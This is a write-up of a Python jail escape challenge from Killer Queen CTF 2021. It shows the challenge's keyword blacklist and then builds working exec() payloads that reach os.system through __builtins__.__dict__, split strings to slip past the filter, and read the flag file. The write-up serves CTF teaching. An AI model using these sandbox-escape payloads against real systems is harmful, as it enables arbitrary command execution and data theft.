Killer Queen CTF 2021

I want to break free [205 pts]

I want to break free… from this Python jail.


kqctf{0h_h0w_1_w4n7_70_br34k_fr33_e73nfk1788234896a174nc}


tl;dr

Introduction

We are given a Python file which asks us whether we can escape from jail and prompts us for an input. This input is run directly in an exec() call – except if it is found to be unsafe. It is unsafe in the following two cases:

The blacklist contains:

cat
grep
nano
import
eval
subprocess
input
sys
execfile
builtins
open
dict
exec
for
dir
file
input
write
while
echo
print
int
os

What we typically want in these sorts of challenges is to execute code in the server shell, so we can read out the flag. We do this by trying to get access to os.system(). If we have access to __builtins__, then we can run commands by using e.g.

__builtins__.__import__('os').system('ls')

We have a few issues here. import, os, and system are all blacklisted. We can easily get around the os problem by just splitting the string in two and using string concatenation:

__builtins__.__import__('o''s').system('ls')

To get around the import and system problems, we can – instead of using dot notation – get the elements from e.g. __builtins__ as a dictionary by using __builtins__.__dict__ and then access what we want as a key instead:

__builtins__.__dict__['__import__']('o''s').__dict__['system']('ls')

And now that we access them as a string, we can use the same string splitting to get around the blacklist. This lets us execute ls on the server to find the flag:

__builtins__.__dict__['__imp''ort__']('o''s').__dict__['sy''stem']('ls')

and we get

bin
blacklist.txt
boot
cf7728be7980fd770ce03d9d937d6d4087310f02db7fcba6ebbad38bd641ba19.txt
dev
etc
home
jail.py
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

The flag is very likely to be in the file with the long hex name, so we want to run cat on this - we can just use cat c*.txt to shorten the command, as this is the only txt file starting with c. We run into other issues here - first, the cat command is blacklisted, so we must split it up. And secondly we are using our first space, which is not allowed. Since we use it in a string, the easy fix is to just use another encoding of it, e.g. \x20 in hex (or something else in binary or octal). This will be used as a space, but there is no longer a space in the actual input:

__builtins__.__dict__['__imp''ort__']('o''s').__dict__['sy''stem']('ca''t\x20c*.txt')

Inputting this, we get the flag.

kqctf{0h_h0w_1_w4n7_70_br34k_fr33_e73nfk1788234896a174nc}

____

1 November 2021
Tags: <pwn/>